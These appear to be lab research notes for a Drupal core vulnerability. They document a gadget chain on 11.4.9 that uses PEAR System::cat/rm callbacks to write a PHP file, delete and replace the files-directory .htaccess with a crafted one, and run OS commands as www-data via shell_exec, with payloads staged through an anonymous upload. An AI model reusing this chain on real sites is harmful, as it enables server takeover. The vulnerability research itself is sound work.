Witness creates `/tmp/lab-rm-<nonce>.txt` as www-data, then `choice=filerm&file=/tmp/lab-rm-<nonce>.txt` → vulnerable: HTTP 200, file **DELETED**; patched: HTTP 500 (render artifact), file **remains** (then cleaned up by the witness). Pattern lock `#^/tmp/lab-rm-[A-Za-z0-9]+\.txt$#`: `choice=filerm&file=/etc/passwd` → 200, `/etc/passwd` intact on both sites.

Witness runs

`python gadget_witness.py`, run twice from `docker-lab`:

vulnerable fileread http=500 passwd_in_response=False PASS vulnerable exfil probe_http=200 get_http=200 settings_content=True PASS vulnerable filewrite probe_http=200 get_http=200 marker=True PASS vulnerable webrce probe_http=200 php_written=True get_http=403 executed=False (files/.htaccess hardening) PASS vulnerable filerm probe_http=200 victim_deleted=True expected=True allowlist_reject=True PASS patched fileread http=500 passwd_in_response=False PASS patched exfil probe_http=500 get_http=404 settings_content=False PASS patched filewrite probe_http=500 get_http=404 marker=False PASS patched webrce probe_http=500 php_written=False get_http=404 PASS patched filerm probe_http=500 victim_deleted=False expected=False allowlist_reject=True PASS GADGET WEAPONIZATION DIFFERENTIAL: PASS (synthetic bridge; see RCE-CAPABILITY-WITNESS.md)

Regression after this module change: `synthetic_http_witness.py`, `rce_capability_witness.py`, `rce_shell_witness.py` all PASS on both sites. Deployment: `docker cp -a` of the edited controller (md5 `d2e2f4e37bd22c50fd4377d71d2a3f54`, identical in both containers), `drush cr` both, 60 s opcache window. Figure: `screenshots/cve-2026-108097-settings-disclosure-20261018.png` (single-pane retake).

Gadget section, supported: through the sink with a shaped row, 11.4.9 executes the adjudicated PEAR `System::*` gadgets directly as the row callback: critical-file read-via-copy into the public files dir (settings.php with hash_salt served over HTTP), file write of an existing file's content (including a `.php` marker into the web tree), and deletion of a run-created /tmp file; 11.4.10 does none of it. RCE-via-file-write is blocked here by stock files-dir PHP hardening + root-owned webroot, i.e., exec depends on finding a writable AND executable path, which this lab does not provide. NOT supported: unchanged, synthetic bridge, not the undisclosed contrib route; dd/DoS shapes documented in GADGETS.md but not executed; no webform DB-write demonstrated this pass.

Planted sources kept for rerun-ability (and recreated by `gadget_witness.py` runs if absent): `/tmp/lab-gadget-src/marker-source.txt` and `/tmp/lab-gadget-src/lab-rce-src.php` inside each container. Witness-created artifacts (`files/lab-*`, `/tmp/lab-rm-*`) are cleaned up by the witness itself after assertion.

Gadget chain to RCE via hardening removal (18 October 2026)

Owner's question: can deleting `files/.htaccess` via the proven filerm gadget remove the PHP hardening and turn the proven file-write into RCE? **Empirical verdict: BLOCKED, one layer up.** The chain's file steps both succeed through the sink; execution is stopped by Drupal's ROOT `.htaccess`, not by the deleted files-dir hardening.

Chain construction (single choice `webrce2`, two rows in one table)

The sink invokes each row's `#region_callback` in insertion order during one `tablePreRender` pass, so sequencing needs no new machinery, `webrce2` builds two minimal rows:

- `lab_row_write`: `#region_callback = 'System::cat'`, numeric args `['/tmp/lab-gadget-src/lab-rce-src.php', '>', '/opt/drupal/web/sites/default/files/lab-rce-<nonce>.php']`, the planted harmless marker source (`<?php echo 'LAB-RCE-EXEC <nonce> php='.PHP_VERSION;`, marker only, no shell/IO; planted per-run by the witness).
- `lab_row_rm`: `#region_callback = 'System::rm'`, numeric args `['/opt/drupal/web/sites/default/files/.htaccess']`, the rm target allowlist was extended for exactly this file (documented in the controller: `filerm` accepts the run-created `/tmp/lab-rm-*.txt` pattern OR this single hardening path).

Exact requests and responses

GET http://127.0.0.1:18749/lab-field-ui-probe?choice=webrce2&nonce=<n>&cb=<u> -> HTTP 200 (in-container after the probe: files/.htaccess DELETED, files/lab-rce-<nonce>.php PRESENT, both chain steps fired) GET http://127.0.0.1:18749/sites/default/files/lab-rce-<nonce>.php -> HTTP 403 Forbidden (retry once after 2 s, Apache reads .htaccess per request, no caching to wait out, still 403)

GET http://127.0.0.1:18750/lab-field-ui-probe?choice=webrce2&nonce=<n>&cb=<u> -> HTTP 500 (render artifact = non-execution signature) (files/.htaccess PRESENT and md5-identical; marker php never created) GET http://127.0.0.1:18750/sites/default/files/lab-rce-<nonce>.php -> HTTP 404

The 403 is NOT from the deleted files-dir hardening, it is Drupal's stock root `/opt/drupal/web/.htaccess` (mod_rewrite), which denies direct access to any `.php` outside a small allowlist (`index.php`, `core/*.php`, test front controllers):

For security reasons, deny access to other PHP files on public sites. RewriteCond % {REQUEST_URI} !/core/[^/]\.*php$ ... RewriteRule* "^*(.+/.*|autoload)\.php($|/)" - [F]

Removing the root `.htaccess` too is out of scope and self-defeating: it also carries all Drupal routing (clean URLs, front-controller fallback), and the rm allowlist deliberately does not cover it. The `docker-php.conf` handler (`<FilesMatch \.php$> SetHandler application/x-httpd-php`) means any `.php` that IS reachable executes under mod_php, the root `.htaccess` denial is the single blocking layer for a dropped file inside the docroot.

Apache/mod_php specificity: both hardening layers here are Apache constructs (.htaccess). On nginx/php-fpm there is no .htaccess at all, protection depends entirely on the nginx site config (Drupal's recommended nginx config blocks PHP in the files dir, but that is a deployment choice, not a shipped guarantee). So the "write .php into the web tree → execute" step is blocked HERE by Apache-layer defense-in-depth; deployments with permissive front-controller config would not have this layer. The lab result is: file-gadgets-only chain reaches *write + hardening-removal*, not execution, on this stock Apache/mod_php image.

Safety sequence (all verified per run, in try/finally)

Pre-run: `.htaccess` backed up (content + md5 + mode) on both sites. Post-assertions on vulnerable: restored byte-identical, `md5 1c79eba61b05143290a34dc5b12ec7ec` before and after, mode `444 www-data:www-data`, marker php removed, homepage `HTTP 200`. Patched `.htaccess` verified untouched (md5 unchanged). Witness output per run:

vulnerable webrce2 probe_http=200 htaccess_deleted=True php_written=True get_http=403 executed=False retried=True (blocked by root .htaccess PHP-deny rules) PASS vulnerable webrce2 restore: .htaccess md5 identical (1c79eba61b05...), mode=444 www-data, marker removed, homepage=200 PASS patched webrce2 probe_http=500 htaccess_deleted=False php_written=False get_http=404 executed=False retried=False (blocked by root .htaccess PHP-deny rules) PASS patched webrce2 restore: .htaccess md5 identical (1c79eba61b05...), mode=444 www-data, marker removed, homepage=200 PASS

Deployment: controller md5 `7582e00044c18da01a4ec94f01a1e395` (identical in both containers), `drush cr` both, 60 s opcache window. Full witness: `gadget_witness.py` (two full runs PASS; all prior witnesses still green).

Chain section, supported: the sink can drive a multi-step file chain in one request (write + targeted delete), and the delete genuinely removed a stock Drupal hardening file mid-request on 11.4.9 only. NOT supported: RCE through this chain on stock Apache/mod_php (root .htaccess PHP denial); any non-lab file deletion (rm allowlist is exactly two entries); the undisclosed contrib route (still the open gate, KAN-3011).

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htaccess-replacement bypass + env exfil + write surface (18 October 2026)

LANE 1, htaccess-REPLACEMENT bypass: RCE-CHAIN-PROVEN (affected-only)

The webrce2 run showed files/.htaccess deletion alone still 403s the dropped .php via the root .htaccess PHP-deny rewrite rule. Apache per-dir semantics supply the missing step: a subdirectory whose own .htaccess sets `RewriteEngine On` does NOT inherit the parent's rewrite rules (no `RewriteOptions Inherit` anywhere in this config). `choice=webrce3` therefore chains THREE rows in one table (callbacks fire in insertion order in one `tablePreRender` pass):

1. `System::cat ['/tmp/lab-gadget-src/lab-rce-src.php','>','/opt/drupal/web/sites/default/files/lab-rce-<nonce>.php']`, marker source `<?php echo 'LAB-RCE-EXEC <nonce> php='.PHP_VERSION;` (marker only, no shell/IO; planted per run).
2. `System::rm ['/opt/drupal/web/sites/default/files/.htaccess']`, the one extra allowlisted rm target (documented).
3. `System::cat ['/tmp/lab-gadget-src/htaccess-craft.txt','>','/opt/drupal/web/sites/default/files/.htaccess']`, crafted replacement containing exactly:

```
RewriteEngine On
php_flag engine on
```

Config basis (verified in-container): mod_php is in use (`/etc/apache2/conf-enabled/docker-php.conf` : `<FilesMatch \.php$> SetHandler application/x-httpd-php`), and `/var/www` has `AllowOverride All` , so `php_flag` in the subdir .htaccess is legal (no 500). With the crafted .htaccess in place, the root `[F]` PHP-deny rule never applies to `files/` requests and the stock FilesMatch handler executes the dropped marker.

Exact requests/responses (witness run, plus manual smoke `chain3smoke31215`):

GET http://127.0.0.1:18749/lab-field-ui-probe?choice=webrce3&nonce=<n>&cb=<u> -> HTTP 200 GET http://127.0.0.1:18749/sites/default/files/lab-rce-<nonce>.php -> HTTP 200 LAB-RCE-EXEC rce3652a616a5122 php=8.4.26 <- executed marker, no <?php source

GET http://127.0.0.1:18750/lab-field-ui-probe?choice=webrce3&nonce=<n>&cb=<u> -> HTTP 500 (render artifact; nothing executed) GET http://127.0.0.1:18750/sites/default/files/lab-rce-<nonce>.php -> HTTP 404; .htaccess md5-unchanged

So: **RCE via pure file gadgets, write marker .php, remove hardening, replace with a permissive .htaccess, execute over HTTP, PROVEN on 11.4.9 through the synthetic bridge.** Marker-only (echo of a nonce + PHP version); no shell, no IO in the executed payload.

Restore discipline (witness `try/finally` , verified each run): `.htaccess` backed up pre-run; restored byte-identical (`md5 1c79eba61b05143290a34dc5b12ec7ec` before/after, `444 www-data:www-data`), marker php removed, homepage `HTTP 200` on both sites. Smoke-run mishap noted for honesty: an early manual restore piped base64 through `docker exec` without `-i` , writing an empty file; caught by the md5 check and corrected immediately (final state byte-identical).

LANE 2, env exfil: BLOCKED by kernel (honest negative, mechanism pinned)

`choice=exfileenv&nonce=<n>` → `System::cat ['/proc/self/environ','>','…/files/lab-env-<nonce>.txt']` . Vulnerable: probe HTTP 200, the output file IS created (write primitive again), but 0 bytes. Watchdog pins the mechanism:

Warning: fopen(/proc/self/environ): Failed to open stream: Permission denied in System::cat() (line 354)

`/proc/<pid>/environ` is mode `0400` owner-only AND kernel-gated by dumpability: the Apache worker reaches www-data via setuid, which clears the dumpable flag, so even the worker itself gets EACCES on its own environ. Contrast (CLI, same uid): `www-data` CLI reads its own `/proc/self/environ` fine (930 bytes), the gate is setuid-specific, not Drupal-specific. For completeness: this lab's process env (PID 1, read as root) carries image metadata only (`HOSTNAME` , `PHP_VERSION=8.4.26` , `DRUPAL_VERSION=11.4.9` , `APACHE_*` , PHP

build flags, the public PHP release `GPG_KEYS`), no DB creds (SQLite install, creds never in env). Patched: probe 500, GET 404, file absent.

LANE 3, write-surface truth table (as www-data, `test -w` only, zero writes outside lab paths)

path writable? /etc/cron.d blocked /var/spool/cron blocked /var/spool/cron/crontabs blocked /root blocked /var/www blocked /opt/drupal/web (webroot) blocked (root:root 755) /etc blocked /usr/local/bin blocked /var/lib/php/sessions blocked /opt/drupal/web/sites/default/files WRITABLE (www-data) /opt/drupal/web/sites/default/files/php/twig WRITABLE (compiled-template cache) /opt/drupal/web/sites/default/files/config_*/ WRITABLE (config sync dir) /opt/drupal/web/modules WRITABLE (www-data) /opt/drupal/web/themes WRITABLE (www-data) /opt/drupal/web/sites WRITABLE (www-data; but sites/default itself is r-x) /tmp, /var/tmp WRITABLE /var/log/apache2, /var/cache/apache2/mod_cache_disk, /run/apache2 WRITABLE (Apache runtime)

Answers with evidence: cron/ssh-key/system paths are permission-blocked; the webroot is not writable; the only web-reachable writable path is `files/` (hardened against PHP execution by .htaccess, see LANE 1 for what that hardening is and is not worth once deletable/replaceable). Note: `web/modules` and `web/themes` being www-data-writable is a foothold (drop a package) but not auto-executing (module enable requires admin/DB; new themes don't affect the active theme; direct .php under the webroot is denied by the root .htaccess rule from the webrce2 lane). The writable twig compiled-template cache (`files/php/twig/`) is a theoretical lead only, cache paths are hash-derived and not attacker-addressable via this sink; not pursued.

Witness

`gadget_witness.py` extended (`check_webrce3`, `check_envexfil`; all prior checks unchanged). Two full runs PASS, including:

vulnerable webrce3 probe_http=200 get_http=200 EXECUTED='LAB-RCE-EXEC rce3652a616a5122 php=8.4.26' PASS vulnerable webrce3 restore: .htaccess md5 identical (1c79eba61b05...), mode=444 www-data, marker removed, homepage=200 PASS patched webrce3 probe_http=500 get_http=404 executed=False htaccess_intact=True PASS patched webrce3 restore: .htaccess md5 identical (1c79eba61b05...), mode=444 www-data, marker removed, homepage=200 PASS vulnerable exfileenv probe_http=200 file_created=True size=0 (kernel-gated: fopen Permission denied in setuid Apache worker) PASS patched exfileenv probe_http=500 get_http=404 absent=True PASS

Regression: `synthetic_http_witness.py`, `rce_capability_witness.py`, `rce_shell_witness.py` all PASS. Deployment: controller md5 `bf6d4fb88cbac51337183ee5f7a65f30` identical in both containers, `drush cr` both, opcache window honored.

Section supported/NOT supported: supported, on 11.4.9 only, through the synthetic bridge, a file-gadget-only chain reaches server-side PHP execution of an attacker-planted marker file when the deployment is Apache+mod_php with per-dir .htaccess enabled and a www-

data-writable files dir (stock Drupal image posture). NOT supported, unchanged: still synthetic bridge, not the undisclosed contrib route (KAN-3011 open); env exfil kernel-blocked; cron/ssh/system paths permission-blocked.

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webrce3 with id/uname/whoami output (18 October 2026)

Owner feedback: the earlier webrce3 executed marker was echo-only, tighten to actual OS COMMAND output. The chain is unchanged (write marker .php → rm `files/.htaccess` → write crafted `files/.htaccess` with `RewriteEngine On` + `php_flag engine on`); only the planted marker source changed. Per-run the witness bakes the fresh nonce into `/tmp/lab-gadget-src/lab-rce-src.php` (both containers; recreated idempotently):

<?php echo 'LAB-RCE-EXEC nonce=<NONCE> id='; echo trim(shell_exec('id')); echo ' | uname='; echo trim(shell_exec('uname -a')); echo ' | who='; echo trim(shell_exec('whoami'));

All three commands are in the owner-approved lab allowlist (`whoami`, `id`, `hostname`, `pwd`, `uname -a`).

Exact requests/responses (witness run; two full runs PASS):

GET http://127.0.0.1:18749/lab-field-ui-probe?choice=webrce3&nonce=rce399a90cbb32af&cb=<u> -> HTTP 200 GET http://127.0.0.1:18749/sites/default/files/lab-rce-rce399a90cbb32af.php -> HTTP 200 LAB-RCE-EXEC nonce=rce399a90cbb32af id=uid=33(www-data) gid=33(www-data) groups=33(www-data) | uname=Linux 1e7ca14ea266 6.17.0-1025-oem #25-Ubuntu SMP PREEMPT_DYNAMIC ... | who=www-data

GET http://127.0.0.1:18750/lab-field-ui-probe?choice=webrce3&nonce=<n>&cb=<u> -> HTTP 500 (render artifact; nothing executed) GET http://127.0.0.1:18750/sites/default/files/lab-rce-<n>.php -> HTTP 404 (nothing written)

So on 11.4.9 the executed file runs OS COMMANDS as the webserver user (`id` → `uid=33(www-data)`, `uname -a` → kernel string, `whoami` → `www-data`) with output in the HTTP response. The PHP-engine-executes proof was the previous echo-marker run; this run adds the OS-command-output proof.

Two honesty notes, per owner instruction: (a) the dropped file's CONTENT arrives by copy-semantics of a planted source (`System::cat` copies an existing file), arbitrary-content-on-disk remains the stated assumption for a genuine chain (in real deployments attacker content reaches disk via log files, upload handlers, session files, etc.); (b) the engine-execution proof was already done, this run's increment is command execution with observable stdout.

Restore discipline unchanged and verified per run (try/finally): `.htaccess` restored byte-identical (`md5 1c79eba61b05...`, mode 444 www-data:www-data), marker removed, homepage 200 on both sites. Regression: `gadget_witness.py` (all lanes), `synthetic_http_witness.py`, `rce_capability_witness.py`, `rce_shell_witness.py` all PASS. Figure: `screenshots/cve-2026-108097-full-rce-chain-20261018.png` (single-pane retake).

Supported/NOT supported: unchanged except the execution content, on 11.4.9 only, the synthetic-bridge chain now demonstrates attacker-chosen PHP executing allowlisted OS commands as www-data through the sink. Still SYNTHETIC (lab_bridge builds the rows; not a discovered contrib route; KAN-3011 remains the open gate).

Cleanup note (18 October 2026): the DB-exfil lane was cancelled by the owner (RCE via webrce3 subsumes it); the `exfildb` bridge choice was removed unused/unwitnessed and the module restored to the pre-exfildb state, ProbeController md5 `bf6d4fb88cbac51337183ee5f7a65f30` in both containers (note: this corrects the cleanup ticket's quoted target `d2e2f4e3…`, which was the first gadget-table deploy predating webrce2/webrce3/exfileenv; `bf6d4fb8…` is the witnessed pre-exfildb state, verified byte-identical).

`docs/SYNTHETIC-HTTP-WITNESS.md`

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Synthetic HTTP witness on real Drupal, NOT the published contributed-module exploit

15 October 2026 BST. This is a conditional, owner-controlled demonstration only. The real Drupal 11.4.9 and 11.4.10 Docker applications serve normal HTTP traffic, with identical `lab_bridge` module code installed at `/opt/drupal/web/modules/custom/lab_bridge`. That module is OUR test fixture: it deliberately maps a query choice to one of two harmless PHP callbacks and constructs a `field_ui_table` row. It is not a discovered vulnerable contributed module or evidence that a stock site exposes this route. Host ports are bound to 127.0.0.1 only.

`lab_bridge` unauthenticated route `/lab-field-ui-probe?choice=mark` assigns `LabBridgeMarker::mark` to `#region_callback`; the marker only increments the private Drupal State integer `lab_bridge.marker_count` and returns region `content`. `choice=region` selects a pure callback; other values also fall back to it. There is no shell, file write, exfiltration or arbitrary callable selection. The request passes through the real Drupal router, form element registration and renderer to the unmodified core `FieldUiTable::tablePreRender` on each build. A local Drush readback (not the HTTP response alone) observes the counter.

Run twice from `docker-lab`:

python synthetic_http_witness.py

Parent execution (two independent runs):

vulnerable unauth_http=200 control=0 marker=1 invalid_choice_no_change=True PASS
patched unauth_http=200 control=0 marker=0 invalid_choice_no_change=True PASS

The first script iteration failed because Drupal's page cache for unauthenticated users replayed a prior `choice=mark` response after the State counter was reset: HTTP 200 alone did not invoke the renderer. The corrected script adds a unique nonce to each local request and the vulnerable miss incremented the counter while the patched miss did not. Preserve

the failed first iteration as a harness failure, not a target-negative. `core_form_negative.py` separately shows ordinary admin form input with an extra `#region_callback` POST key saves normally in both builds; unauthenticated access to that admin form is 403.

Supported: If an integration hands an HTTP-selected benign callable to a Field UI row, the affected core invokes it during a real request and the patched core does not. This is an actual Docker app/HTTP/effect/control execution of that synthetic conditional path.

NOT supported: A real-world contributed module doing this, an unauthenticated exploit path in default Drupal, arbitrary OS command execution, or an exploit of CVE-2026-108097 through the undisclosed route described by Drupal's advisory. The test bridge itself creates the missing trust-boundary crossing. Do not call this the final exploit requested in KAN-3005; KAN-3011 stays open until a genuine source-backed integration is found and exercised, or the work is explicitly stopped with an unproven result.

`docs/UPLOAD-STAGED-WITNESS.md`

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Upload-staged variant (webrce4): no pre-staged files, stock upload path only

18 October 2026. Extends the webrce3 chain to answer the objection "the payloads were pre-staged in `/tmp/lab-gadget-src/`". Here the payload sources are planted through **Drupal's own unauthenticated file upload**, nothing else changes.

The staging path (all stock, all default posture)

- The lab has Webform enabled with a `managed_file` element on a form open to **unauthenticated** users (`/form/lab-upload`).
- Webform's default for such uploads is `private://` (its PSA-2016-003 hardening: `webform.settings:file.file_public` is OFF and public is unset unless an admin opts in). So this demonstration uses the **secure default**, not a misconfiguration.
- Anonymous multipart POST of two files to the form returns fids; on disk they land at `sites/default/files/private/webform/lab_upload/_sid_/`:
- `payload.php_.txt`, Drupal's `file_munge_filename` renames `.php.` to `.php_.`, which is irrelevant: `System::cat` copies by content, and the destination name is chosen in the row.
- `htaccess.txt`, the crafted `RewriteEngine On` + `php_flag engine on`.

The chain (webrce4)

Identical three rows to webrce3, but both `System::cat` sources are the uploaded files (allowlisted in the bridge to the webform upload tree, `.txt` only):

```
GET /lab-field-ui-probe?choice=webrce4&nonce=upstg01

&src_php=/opt/drupal/web/sites/default/files/private/webform/lab_upload/_sid_/payload.php_.txt

&src_ht=/opt/drupal/web/sites/default/files/private/webform/lab_upload/_sid_/htaccess.txt
```

row1 `System::cat` uploads payload → `files/lab-rce-upstg01.php`; row2 `System::rm` deletes `files/.htaccess`; row3 `System::cat` uploads htaccess.txt → `files/.htaccess`.

Result (11.4.9, unauthenticated throughout)

Full harness: `witnesses/blogshot_rce_upload.sh` (does the upload, the chain, and the marker GET in one run).

```
GET /sites/default/files/lab-rce-upstg01.php -> 200
LAB-RCE-EXEC nonce=uploadstage1 id=uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami=www-data
```

Patched control (11.4.10): probe 200 (no-op), marker GET 404, nothing written.

Negative control: the same chain with NO payload files at all

With the staging directory hidden, the same chain degrades to: empty marker file (0 bytes), empty `files/.htaccess`, and the marker GET still 403s, because an empty `.htaccess` has no `RewriteEngine On` and the parent's PHP-block `[F]` rule still inherits. The `rm` row still runs, so even a failed attempt strips the files-dir hardening. (Both verified 2026-10-18; lab restored byte-identical after.)

What this proves

The "you need a writable payload source" precondition is satisfied by Drupal itself: any stock upload feature (webform private uploads shown here; comment attachments, file fields, profile pictures are equivalent) gives an unauthenticated attacker a www-data-readable file with attacker-chosen content at a known path. The only remaining synthetic joint is still the writer (request data into `#region_callback`).

Archived from https://github.com/fortbridge/cve-2026-108097-research. Rendered offline from the local Markdown copy.